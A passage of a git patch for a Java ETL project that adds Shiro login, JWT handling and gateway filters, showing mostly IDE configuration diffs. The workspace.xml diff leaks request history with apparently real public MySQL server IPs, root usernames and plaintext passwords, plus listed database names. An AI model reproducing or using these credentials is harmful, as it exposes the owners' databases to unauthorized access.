From 0bdc8c88f948f0d025f937c2f7b7b25bb53d98ae Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=88=98=E6=B3=BD=E7=92=8B?= <2833784085@qq.com@user.noreply.gitee.com> Date: Wed, 26 Jun 2024 20:43:13 +0800 Subject: [PATCH] =?UTF-8?q?=E7=99=BB=E5=BD=95=E9=9B=86=E6=88=90shiro?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .idea/compiler.xml | 7 +- .idea/encodings.xml | 10 + .idea/misc.xml | 4 + .idea/workspace.xml | 267 +++++++++-------- etl-auth/etl-auth-common/pom.xml | 55 ++++ .../auth/common/entity/PathPermission.java | 33 +++ .../auth/common/entity/RolesPermission.java | 24 ++ .../com/auth/common/entity/UserAccount.java | 26 ++ .../common/enums/PermissionConstants.java | 13 + etl-auth/etl-auth-server/pom.xml | 154 ++++++++++ .../auth/server/EtlAuthServerApplication.java | 25 ++ .../java/com/auth/server/config/MD5s.java | 44 +++ .../com/auth/server/config/MvcConfig.java | 18 ++ .../com/auth/server/config/ShiroConfig.java | 69 +++++ .../server/controller/LoginControler.java | 84 ++++++ .../controller/PermissionController.java | 52 ++++ .../server/interceptor/UserInterceptor.java | 31 ++ .../com/auth/server/mapper/PathMapper.java | 8 + .../auth/server/mapper/PermissionMapper.java | 8 + .../auth/server/mapper/UserMangeMapper.java | 12 + .../com/auth/server/service/PathService.java | 9 + .../server/service/PermissionService.java | 11 + .../server/service/UserManageService.java | 15 + .../server/service/impl/PathServiceImpl.java | 16 ++ .../service/impl/PermissionServiceImpl.java | 61 ++++ .../service/impl/UserManageServiceImpl.java | 168 +++++++++++ .../com/auth/server/util/SecurityUtils.java | 37 +++ .../java/com/auth/server/util/UserRealm.java | 65 +++++ .../src/main/resources/bootstrap.yml | 51 ++++ .../src/main/resources/mapper/PathMapper.xml | 6 + .../resources/mapper/PermissionMapper.xml | 6 + .../main/resources/mapper/UserMangeMapper.xml | 6 + .../src/main/resources/static/index.html | 6 + .../server/EtlAuthServerApplicationTests.java | 31 ++ .../target/classes/bootstrap.yml | 51 ++++ .../server/EtlAuthServerApplication.class | Bin 0 -> 1363 bytes .../classes/com/auth/server/config/MD5s.class | Bin 0 -> 2016 bytes .../com/auth/server/config/ShiroConfig.class | Bin 0 -> 2813 bytes .../server/controller/LoginControler.class | Bin 0 -> 2142 bytes .../controller/PermissionController.class | Bin 0 -> 3600 bytes .../com/auth/server/mapper/PathMapper.class | Bin 0 -> 310 bytes .../auth/server/mapper/PermissionMapper.class | Bin 0 -> 323 bytes .../auth/server/mapper/UserMangeMapper.class | Bin 0 -> 398 bytes .../com/auth/server/service/PathService.class | Bin 0 -> 321 bytes .../server/service/PermissionService.class | Bin 0 -> 466 bytes .../server/service/UserManageService.class | Bin 0 -> 707 bytes .../server/service/impl/PathServiceImpl.class | Bin 0 -> 888 bytes .../service/impl/PermissionServiceImpl.class | Bin 0 -> 3757 bytes .../service/impl/UserManageServiceImpl.class | Bin 0 -> 8494 bytes .../com/auth/server/util/SecurityUtils.class | Bin 0 -> 1126 bytes .../com/auth/server/util/UserRealm.class | Bin 0 -> 3559 bytes .../target/classes/mapper/PathMapper.xml | 6 + .../classes/mapper/PermissionMapper.xml | 6 + .../target/classes/mapper/UserMangeMapper.xml | 6 + .../target/classes/static/index.html | 6 + .../auth/common/entity/PathPermission.class | Bin 0 -> 4351 bytes .../auth/common/entity/RolesPermission.class | Bin 0 -> 2923 bytes .../com/auth/common/entity/UserAccount.class | Bin 0 -> 3149 bytes .../common/enums/PermissionConstants.class | Bin 0 -> 703 bytes .../EtlAuthServerApplicationTests.class | Bin 0 -> 1674 bytes etl-auth/pom.xml | 24 ++ .../etl/common/constants/TokenConstants.java | 8 + .../etl/common/enums/ResponseCodeEnum.java | 29 ++ .../com/etl/common/result/CommonResult.java | 22 ++ .../etl/common/constants/TokenConstants.class | Bin 524 -> 614 bytes .../etl/common/enums/ResponseCodeEnum.class | Bin 0 -> 2176 bytes .../com/etl/common/result/CommonResult.class | Bin 0 -> 3845 bytes .../data/source/common/pojo/DataSource.java | 5 +- .../source/common/pojo/DatabaseConfig.java | 3 +- .../com/etl/data/source/common/pojo/Task.java | 4 +- .../data/source/common/pojo/DataSource.class | Bin 8432 -> 7858 bytes .../source/common/pojo/DatabaseConfig.class | Bin 4630 -> 5283 bytes .../etl/data/source/common/pojo/Task.class | Bin 0 -> 6841 bytes .../controller/DataSheetController.java | 3 + .../server/controller/DatabaseController.java | 13 + .../server/controller/RuleController.java | 57 ++++ .../server/controller/TaskController.java | 2 +- .../source/server/mapper/CodeBaseMapper.java | 13 + .../source/server/mapper/RuleBaseMapper.java | 13 + .../server/service/DatabaseService.java | 1 + .../source/server/service/RuleService.java | 27 ++ .../service/impl/DatabaseServiceImpl.java | 114 +++++++- .../server/service/impl/RuleServiceImpl.java | 95 +++++++ .../controller/DataSheetController.class | Bin 0 -> 676 bytes .../controller/DataSourceController.class | Bin 2647 -> 2653 bytes .../controller/DatabaseController.class | Bin 4130 -> 4742 bytes .../server/controller/RuleController.class | Bin 0 -> 2753 bytes .../server/controller/TaskController.class | Bin 0 -> 2856 bytes .../source/server/mapper/CodeBaseMapper.class | Bin 0 -> 312 bytes .../server/mapper/DataSheetMapper.class | Bin 0 -> 145 bytes .../source/server/mapper/RuleBaseMapper.class | Bin 0 -> 312 bytes .../source/server/mapper/TaskMapper.class | Bin 0 -> 304 bytes .../server/service/DataSheetService.class | Bin 0 -> 148 bytes .../server/service/DatabaseService.class | Bin 862 -> 1032 bytes .../source/server/service/RuleService.class | Bin 0 -> 816 bytes .../source/server/service/TaskService.class | Bin 0 -> 501 bytes .../service/impl/DataSheetServiceImpl.class | Bin 0 -> 658 bytes .../service/impl/DatabaseServiceImpl.class | Bin 10537 -> 14229 bytes .../server/service/impl/RuleServiceImpl.class | Bin 0 -> 8103 bytes .../server/service/impl/TaskServiceImpl.class | Bin 0 -> 2697 bytes etl-gateway/pom.xml | 56 +++- .../etl/gateway/EtlGatewayApplication.java | 2 + .../gateway/config/WhiteListProperties.java | 14 + .../com/etl/gateway/filters/AuthFilter.java | 184 ++++++------ .../gateway/filters/JwtAuthCheckFilter.java | 134 +++++++++ .../com/etl/gateway/filters/LogFilter.java | 6 +- etl-gateway/src/main/resources/bootstrap.yml | 40 +-- etl-groovy/pom.xml | 63 ++++ .../groovy/SpringBootGroovyApplication.java | 20 ++ .../controller/GrooyTestController.java | 43 +++ .../java/com/etl/groovy/entity/Address.java | 15 + .../com/etl/groovy/mapper/AddressMapper.java | 12 + .../etl/groovy/service/GroovyTestService.java | 18 ++ .../etl/groovy/util/SpringContextUtil.java | 57 ++++ etl-groovy/src/main/resources/bootstrap.yml | 23 ++ .../etl/groovy/EtlGroovyApplicationTests.java | 13 + etl-groovy/target/classes/bootstrap.yml | 23 ++ .../groovy/SpringBootGroovyApplication.class | Bin 0 -> 1632 bytes .../com/etl/groovy/entity/Address.class | Bin 0 -> 1923 bytes .../com/etl/groovy/mapper/AddressMapper.class | Bin 0 -> 579 bytes .../groovy/service/GroovyTestService.class | Bin 0 -> 697 bytes .../etl/groovy/util/SpringContextUtil.class | Bin 0 -> 1633 bytes etl-jwt-manage/pom.xml | 136 +++++++++ .../com/etl/jwt/config/AuthJwtProperties.java | 41 +++ .../java/com/etl/jwt/util/JwtTokenUtil.java | 269 ++++++++++++++++++ .../spring-configuration-metadata.json | 54 ++++ .../etl/jwt/config/AuthJwtProperties.class | Bin 0 -> 5180 bytes .../com/etl/jwt/util/JwtTokenUtil.class | Bin 0 -> 8412 bytes .../target/etl-jwt-manage-1.0-SNAPSHOT.jar | Bin 0 -> 8961 bytes .../target/maven-archiver/pom.properties | 5 + .../compile/default-compile/createdFiles.lst | 3 + .../compile/default-compile/inputFiles.lst | 2 + .../default-testCompile/createdFiles.lst | 0 .../default-testCompile/inputFiles.lst | 0 pom.xml | 5 + 135 files changed, 2913 insertions(+), 265 deletions(-) create mode 100644 etl-auth/etl-auth-common/pom.xml create mode 100644 etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/PathPermission.java create mode 100644 etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/RolesPermission.java create mode 100644 etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/UserAccount.java create mode 100644 etl-auth/etl-auth-common/src/main/java/com/auth/common/enums/PermissionConstants.java create mode 100644 etl-auth/etl-auth-server/pom.xml create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/EtlAuthServerApplication.java create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/config/MD5s.java create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/config/MvcConfig.java create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/config/ShiroConfig.java create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/LoginControler.java create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/PermissionController.java create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/interceptor/UserInterceptor.java create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PathMapper.java create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PermissionMapper.java create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/UserMangeMapper.java create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PathService.java create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PermissionService.java create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/service/UserManageService.java create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PathServiceImpl.java create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PermissionServiceImpl.java create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/UserManageServiceImpl.java create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/util/SecurityUtils.java create mode 100644 etl-auth/etl-auth-server/src/main/java/com/auth/server/util/UserRealm.java create mode 100644 etl-auth/etl-auth-server/src/main/resources/bootstrap.yml create mode 100644 etl-auth/etl-auth-server/src/main/resources/mapper/PathMapper.xml create mode 100644 etl-auth/etl-auth-server/src/main/resources/mapper/PermissionMapper.xml create mode 100644 etl-auth/etl-auth-server/src/main/resources/mapper/UserMangeMapper.xml create mode 100644 etl-auth/etl-auth-server/src/main/resources/static/index.html create mode 100644 etl-auth/etl-auth-server/src/test/java/com/auth/server/EtlAuthServerApplicationTests.java create mode 100644 etl-auth/etl-auth-server/target/classes/bootstrap.yml create mode 100644 etl-auth/etl-auth-server/target/classes/com/auth/server/EtlAuthServerApplication.class create mode 100644 etl-auth/etl-auth-server/target/classes/com/auth/server/config/MD5s.class create mode 100644 etl-auth/etl-auth-server/target/classes/com/auth/server/config/ShiroConfig.class create mode 100644 etl-auth/etl-auth-server/target/classes/com/auth/server/controller/LoginControler.class create mode 100644 etl-auth/etl-auth-server/target/classes/com/auth/server/controller/PermissionController.class create mode 100644 etl-auth/etl-auth-server/target/classes/com/auth/server/mapper/PathMapper.class create mode 100644 etl-auth/etl-auth-server/target/classes/com/auth/server/mapper/PermissionMapper.class create mode 100644 etl-auth/etl-auth-server/target/classes/com/auth/server/mapper/UserMangeMapper.class create mode 100644 etl-auth/etl-auth-server/target/classes/com/auth/server/service/PathService.class create mode 100644 etl-auth/etl-auth-server/target/classes/com/auth/server/service/PermissionService.class create mode 100644 etl-auth/etl-auth-server/target/classes/com/auth/server/service/UserManageService.class create mode 100644 etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/PathServiceImpl.class create mode 100644 etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/PermissionServiceImpl.class create mode 100644 etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/UserManageServiceImpl.class create mode 100644 etl-auth/etl-auth-server/target/classes/com/auth/server/util/SecurityUtils.class create mode 100644 etl-auth/etl-auth-server/target/classes/com/auth/server/util/UserRealm.class create mode 100644 etl-auth/etl-auth-server/target/classes/mapper/PathMapper.xml create mode 100644 etl-auth/etl-auth-server/target/classes/mapper/PermissionMapper.xml create mode 100644 etl-auth/etl-auth-server/target/classes/mapper/UserMangeMapper.xml create mode 100644 etl-auth/etl-auth-server/target/classes/static/index.html create mode 100644 etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/PathPermission.class create mode 100644 etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/RolesPermission.class create mode 100644 etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/UserAccount.class create mode 100644 etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/enums/PermissionConstants.class create mode 100644 etl-auth/etl-auth-server/target/test-classes/com/auth/server/EtlAuthServerApplicationTests.class create mode 100644 etl-auth/pom.xml create mode 100644 etl-common/src/main/java/com/etl/common/enums/ResponseCodeEnum.java create mode 100644 etl-common/src/main/java/com/etl/common/result/CommonResult.java create mode 100644 etl-common/target/classes/com/etl/common/enums/ResponseCodeEnum.class create mode 100644 etl-common/target/classes/com/etl/common/result/CommonResult.class create mode 100644 etl-data-source/el-data-source-common/target/classes/com/etl/data/source/common/pojo/Task.class create mode 100644 etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/RuleController.java create mode 100644 etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/CodeBaseMapper.java create mode 100644 etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/RuleBaseMapper.java create mode 100644 etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/RuleService.java create mode 100644 etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/impl/RuleServiceImpl.java create mode 100644 etl-data-source/el-data-source-server/target/classes/com/etl/data/source/server/controller/DataSheetController.class create mode 100644 etl-data-source/el-data-source-server/target/classes/com/etl/data/source/server/controller/RuleController.class create mode 100644 etl-data-source/el-data-source-server/target/classes/com/etl/data/source/server/controller/TaskController.class create mode 100644 etl-data-source/el-data-source-server/target/classes/com/etl/data/source/server/mapper/CodeBaseMapper.class create mode 100644 etl-data-source/el-data-source-server/target/classes/com/etl/data/source/server/mapper/DataSheetMapper.class create mode 100644 etl-data-source/el-data-source-server/target/classes/com/etl/data/source/server/mapper/RuleBaseMapper.class create mode 100644 etl-data-source/el-data-source-server/target/classes/com/etl/data/source/server/mapper/TaskMapper.class create mode 100644 etl-data-source/el-data-source-server/target/classes/com/etl/data/source/server/service/DataSheetService.class create mode 100644 etl-data-source/el-data-source-server/target/classes/com/etl/data/source/server/service/RuleService.class create mode 100644 etl-data-source/el-data-source-server/target/classes/com/etl/data/source/server/service/TaskService.class create mode 100644 etl-data-source/el-data-source-server/target/classes/com/etl/data/source/server/service/impl/DataSheetServiceImpl.class create mode 100644 etl-data-source/el-data-source-server/target/classes/com/etl/data/source/server/service/impl/RuleServiceImpl.class create mode 100644 etl-data-source/el-data-source-server/target/classes/com/etl/data/source/server/service/impl/TaskServiceImpl.class create mode 100644 etl-gateway/src/main/java/com/etl/gateway/config/WhiteListProperties.java create mode 100644 etl-gateway/src/main/java/com/etl/gateway/filters/JwtAuthCheckFilter.java create mode 100644 etl-groovy/pom.xml create mode 100644 etl-groovy/src/main/java/com/etl/groovy/SpringBootGroovyApplication.java create mode 100644 etl-groovy/src/main/java/com/etl/groovy/controller/GrooyTestController.java create mode 100644 etl-groovy/src/main/java/com/etl/groovy/entity/Address.java create mode 100644 etl-groovy/src/main/java/com/etl/groovy/mapper/AddressMapper.java create mode 100644 etl-groovy/src/main/java/com/etl/groovy/service/GroovyTestService.java create mode 100644 etl-groovy/src/main/java/com/etl/groovy/util/SpringContextUtil.java create mode 100644 etl-groovy/src/main/resources/bootstrap.yml create mode 100644 etl-groovy/src/test/java/com/etl/groovy/EtlGroovyApplicationTests.java create mode 100644 etl-groovy/target/classes/bootstrap.yml create mode 100644 etl-groovy/target/classes/com/etl/groovy/SpringBootGroovyApplication.class create mode 100644 etl-groovy/target/classes/com/etl/groovy/entity/Address.class create mode 100644 etl-groovy/target/classes/com/etl/groovy/mapper/AddressMapper.class create mode 100644 etl-groovy/target/classes/com/etl/groovy/service/GroovyTestService.class create mode 100644 etl-groovy/target/classes/com/etl/groovy/util/SpringContextUtil.class create mode 100644 etl-jwt-manage/pom.xml create mode 100644 etl-jwt-manage/src/main/java/com/etl/jwt/config/AuthJwtProperties.java create mode 100644 etl-jwt-manage/src/main/java/com/etl/jwt/util/JwtTokenUtil.java create mode 100644 etl-jwt-manage/target/classes/META-INF/spring-configuration-metadata.json create mode 100644 etl-jwt-manage/target/classes/com/etl/jwt/config/AuthJwtProperties.class create mode 100644 etl-jwt-manage/target/classes/com/etl/jwt/util/JwtTokenUtil.class create mode 100644 etl-jwt-manage/target/etl-jwt-manage-1.0-SNAPSHOT.jar create mode 100644 etl-jwt-manage/target/maven-archiver/pom.properties create mode 100644 etl-jwt-manage/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst create mode 100644 etl-jwt-manage/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst create mode 100644 etl-jwt-manage/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/createdFiles.lst create mode 100644 etl-jwt-manage/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst diff --git a/.idea/compiler.xml b/.idea/compiler.xml index a33e3a2..e82e326 100644 --- a/.idea/compiler.xml +++ b/.idea/compiler.xml @@ -7,11 +7,14 @@ - + + + + - + diff --git a/.idea/encodings.xml b/.idea/encodings.xml index 79bdcc6..4f3820a 100644 --- a/.idea/encodings.xml +++ b/.idea/encodings.xml @@ -1,6 +1,12 @@ + + + + + + @@ -11,8 +17,12 @@ + + + + diff --git a/.idea/misc.xml b/.idea/misc.xml index 131a039..7750dd9 100644 --- a/.idea/misc.xml +++ b/.idea/misc.xml @@ -9,6 +9,10 @@ + + + + diff --git a/.idea/workspace.xml b/.idea/workspace.xml index 3f7599d..9a4d57b 100644 --- a/.idea/workspace.xml +++ b/.idea/workspace.xml @@ -4,67 +4,69 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + - - - - + + + + + + + + + - - - + + - + + + + + + @@ -75,8 +77,8 @@ - + @@ -91,6 +93,7 @@ + @@ -114,39 +117,41 @@ - { - "keyToString": { - "ApiPost:METDOD_SEND_RECORD:el-data-source-server": "{\"/test\":[{\"url\":\"http://localhost:8886/test\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"jdbc:mysql://localhost:3306/\\\",\\n \\\"user\\\": \\\"root\\\",\\n \\\"passWard\\\": \\\"lzz@123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"无法连接到MySQL数据库!\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":16.0,\"minute\":7.0,\"second\":1.0,\"nano\":8.935848E8}}},{\"url\":\"http://localhost:8886/test\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"jdbc:mysql://localhost:3306/health\\\",\\n \\\"user\\\": \\\"root\\\",\\n \\\"passWard\\\": \\\"lzz@123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"无法连接到MySQL数据库!\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":16.0,\"minute\":7.0,\"second\":17.0,\"nano\":1.862118E8}}},{\"url\":\"http://localhost:8886/test\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"jdbc:mysql://182.254.221.163:3306\\\",\\n \\\"user\\\": \\\"root\\\",\\n \\\"passWard\\\": \\\"lzz@123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"成功连接到MySQL数据库!\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":16.0,\"minute\":9.0,\"second\":16.0,\"nano\":9.248973E8}}},{\"url\":\"http://localhost:8886/test\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"jdbc:mysql://182.254.221.163:3306\\\",\\n \\\"user\\\": \\\"root\\\",\\n \\\"passWard\\\": \\\"lzz@123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"成功连接到MySQL数据库!\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":16.0,\"minute\":9.0,\"second\":22.0,\"nano\":1.626433E8}}},{\"url\":\"http://localhost:8886/test\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"jdbc:mysql://182.254.221.163:3306/health\\\",\\n \\\"user\\\": \\\"root\\\",\\n \\\"passWard\\\": \\\"lzz@123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"成功连接到MySQL数据库!\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":16.0,\"minute\":9.0,\"second\":28.0,\"nano\":6.040624E8}}},{\"url\":\"http://localhost:8886/test\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"jdbc:mysql://182.254.221.163:3306/health\\\",\\n \\\"user\\\": \\\"root\\\",\\n \\\"passWard\\\": \\\"lzz@123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"数据连接成功\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":16.0,\"minute\":15.0,\"second\":59.0,\"nano\":5.084082E8}}},{\"url\":\"http://localhost:8886/test\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"ok\\\"\\n}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":8.0,\"minute\":58.0,\"second\":24.0,\"nano\":4.761775E8}}}],\"/test-database-connection\":[{\"url\":\"http://localhost:8886/test-database-connection\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://182.254.221.163:health?serverTimezone\\u003dUTC\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzz@123\\\"\\n}\",\"responseBody\":\"error\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":19.0,\"minute\":28.0,\"second\":7.0,\"nano\":2.000408E8}}},{\"url\":\"http://localhost:8886/test-database-connection\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://182.254.221.163/health?serverTimezone\\u003dUTC\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzz@123\\\"\\n}\",\"responseBody\":\"ok\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":19.0,\"minute\":29.0,\"second\":0.0,\"nano\":4.296155E8}}},{\"url\":\"http://localhost:8886/test-database-connection\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://43.142.12.243/health?serverTimezone\\u003dUTC\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzz@123\\\"\\n}\",\"responseBody\":\"error\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":19.0,\"minute\":33.0,\"second\":49.0,\"nano\":1.179387E8}}},{\"url\":\"http://localhost:8886/test-database-connection\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://43.142.12.243/etl?serverTimezone\\u003dUTC\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzz@123\\\"\\n}\",\"responseBody\":\"error\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":19.0,\"minute\":34.0,\"second\":59.0,\"nano\":4.527054E8}}},{\"url\":\"http://localhost:8886/test-database-connection\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://43.142.12.243/etl?serverTimezone\\u003dUTC\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"ytt@123\\\"\\n}\",\"responseBody\":\"ok\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":21.0},\"time\":{\"hour\":19.0,\"minute\":35.0,\"second\":17.0,\"nano\":4.192197E8}}}],\"/findDatabaseTable\":[{\"url\":\"http://localhost:8886/findDatabaseTable\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://43.142.12.243\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"ytt@123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n \\\"information_schema\\\",\\n \\\"access\\\",\\n \\\"bbyb_examination\\\",\\n \\\"buy_car\\\",\\n \\\"demo-seata\\\",\\n \\\"ele-admin-api\\\",\\n \\\"etl\\\",\\n 